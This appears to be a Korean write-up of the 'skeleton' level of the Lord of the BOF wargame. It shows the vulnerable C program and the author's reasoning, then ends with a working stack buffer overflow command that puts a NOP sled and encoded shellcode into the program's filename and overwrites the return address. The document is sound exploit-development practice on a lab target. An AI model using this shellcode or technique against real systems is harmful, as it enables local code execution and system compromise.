/*
The Lord of the BOF : The Fellowship of the BOF
- skeleton
- argv hunter
*/
#include <stdio.h>
#include <stdlib.h>
extern char **environ;
main(int argc, char *argv[])
{
char buffer[40];
int i, saved_argc;
if(argc < 2){
printf("argv error\n");
exit(0);
}
// egghunter
for(i=0; environ[i]; i++)
memset(environ[i], 0, strlen(environ[i]));
if(argv[1][47] != '\xbf')
{
printf("stack is still your friend.\n");
exit(0);
}
// check the length of argument
if(strlen(argv[1]) > 48){
printf("argument is too long!\n");
exit(0);
}
// argc saver
saved_argc = argc;
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
// buffer hunter
memset(buffer, 0, 40);
// ultra argv hunter!
for(i=0; i<saved_argc; i++)
memset(argv[i], 0, strlen(argv[i]));
}
1. argv 입력
2. 환경변수 x
3. argv[1] 48번째 글자 \xbf
4. argv[1] 길이 48이하
5. buffer 변수 초기화
6. argv 값 초기화
음..가장 먼저 생각이 든게 argv[2]에 dummy + NULL + Shellcode 넣을 생각했다. 코드 마지막 argv 초기화 시킬때 strlen에서 dummy + NULL 에 만나서 shellcode는 안지워지는 줄 알고 해봤는데 스택에 \x00이 안들어간다..
두 번째 방법으로 saved_argc = argc; 가 먼저 실행되고 bof 가 되니까 saved_argc 변수값을 바꾸면 초기화가 안되지 않을까 했는데 saved_argc 변수값을 바꿀 수 가 없었다..
롸업을 보니까 스택 마지막 부분에 프로그램 경로가 존재한다고 한다.. 찾아보자 (argv[0] 초기화되서 파일명 못 쓸 줄 알았는데..)
leave 에 break 를 걸고 argv[1] 에 dummy 값을 넣고 run 하자
x/100s 통해 찾다 보니까 프로그램 경로와 파일명이 존재한다.
파일명을 nop와 shellcode로 변경하고 ret에서 저기로 jmp 해보자
./`python -c 'print("\x90"*50+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"+"\x90"*50)'` `python -c 'print("a"*44+"\x72\xff\xff\xbf")'`
파일명에 /x2f가 있으면 안되니까 다른 쉘 코드를 사용하고 쉘코드 사이에 nop 를 넣어줘야 exploit이 된다.. 삽질하다가 알음..
1. 스택 끝자락에 프로그램 경로와 파일명이 존재한다!